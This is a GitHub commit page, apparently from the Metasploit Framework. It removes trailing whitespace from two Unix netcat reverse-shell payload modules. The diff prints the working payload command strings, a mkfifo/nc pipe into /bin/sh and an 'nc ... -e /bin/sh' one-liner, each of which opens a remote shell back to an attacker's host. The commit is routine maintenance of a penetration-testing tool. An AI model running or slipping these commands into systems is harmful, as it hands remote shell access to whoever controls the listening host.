Skip to content

Commit

Permalink
Remove trailing whitespace from netcat payloads
Browse files Browse the repository at this point in the history
This has been bugging me for so long.
  • Loading branch information
wvu committed Aug 24, 2018
1 parent e3a2e64 commit bbeab1f
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 3 deletions.
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_netcat.rb
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,6 @@ def generate
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end
end
4 changes: 2 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 35
CachedSize = 34

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -45,6 +45,6 @@ def generate
# Returns the command string to use for execution
#
def command_string
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh"
end
end

0 comments on commit bbeab1f

Please sign in to comment.